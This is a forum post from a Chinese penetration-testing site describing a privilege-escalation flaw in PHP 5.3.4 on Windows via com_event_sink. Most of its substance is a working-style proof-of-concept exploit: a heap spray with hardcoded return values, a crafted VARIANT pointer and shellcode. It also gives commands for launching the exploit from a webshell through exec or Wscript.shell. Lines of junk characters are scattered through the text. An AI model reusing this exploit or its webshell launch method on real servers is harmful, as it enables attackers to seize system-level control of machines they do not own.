中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
/ |3 q* c% D1 Q" Q" j" V c
m4 b: v2 h8 s$ k) z
测试方法如下:cmd /c x:\php\php.exe x:\test.php
0 Y: o7 |- }; ?1 D# h
# \* i+ W! i- l& Y! c
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
' z. g0 g) E$ z
这里是两个测试的截图:
; } s: w4 N$ F
8 T1 |) q/ U5 R# Z% q, b
0 b1 m3 J+ K% Y/ p6 g/ a
+ {& o$ Y) }9 p# |7 w
8 p$ }" y" [! D+ K7 ]2 C# d6 [: w
+ F2 E' @' d9 _6 K x% F6 d% }
成功利用此漏洞的攻击者将获得系统的最高权限
8 V0 ^ \4 C( W. C6 s4 |% ~- ~
) \* B7 [# [- D, @% A
+ s8 L2 P( W( P; K6 f$ t" M
- U; e' E# d9 ^. K
; E& E0 Q5 o2 ^, ?4 n4 D0 C
/ p% l ?, t) K* w. l! Y
关于漏洞分析稍后附上。一下是PoC代码:
- Y: Q2 }, @: m2 s5 v( {8 I& G
4 [- k( f- x8 l& J# Z0 M/ A& _
<?php
4 M, s+ o5 v5 N. n W
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
( U( b/ G0 ~( d# q" Z& b5 M
//$eip ="\x44\x43\x42\x41";
: \- V3 h2 ?/ Y( Y: |
$eip= "\x4b\xe8\x57\x78";
' ^ O1 J5 C9 ^' x) P) `7 C
$eax ="\x80\x01\x8d\x04";
) H7 i$ I% ^6 j/ ?2 `# ^# t
$deodrant="";
+ o' U- R3 x0 a
$axespray = str_repeat($eip.$eax,0x80);
/ `2 Y9 ~/ M I, a& j
//048d0190
3 \/ j6 K7 D h+ Z' p$ j. U" e; v9 M8 P
echo strlen($axespray);
+ Y7 h' I& ^" i2 W3 n
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
! d5 ^9 K0 H6 \/ \+ \) A6 b4 W; ^6 m( x
echo "Silic Group Hacker Army - BlackBap.Org";
% |8 X5 t% U8 f* c; N/ a
//19200 ==4B32 4b00
7 E& x( a1 K5 j" F/ c2 O$ l/ s+ @
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
2 s- F/ o: }* V7 a: v9 t' i
$terminate = "T";
- C# O( U- S- P8 X
$u[] =$deodrant;
6 I1 H4 K" J& y$ \$ Y9 G- n7 L8 ?2 K/ y
$r[] =$deodrant.$terminate;
- d' }- L$ M. R* L
$a[] =$deodrant.$terminate;
- r9 _. g7 ~/ o0 s( z7 H+ h
$s[] =$deodrant.$terminate;
; s7 o3 K) d8 V! V' k- J
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
' U* L) _6 A. J' O' y
$vVar = new VARIANT(0x048d0000+180);
+ u2 L) M$ X8 k/ U" N* N
//弹窗代码(Shellcode)
0 {& C% @# T" Y+ j' X* e2 v
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
7 q2 ^3 L) P# l2 v5 \& h
$var2 = new VARIANT(0x41414242);
% X( t; I2 W5 L& j/ N3 h
com_event_sink($vVar,$var2,$buffer);
( @9 F3 }: P# e1 N
?>
6 X4 n4 x; y( V
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2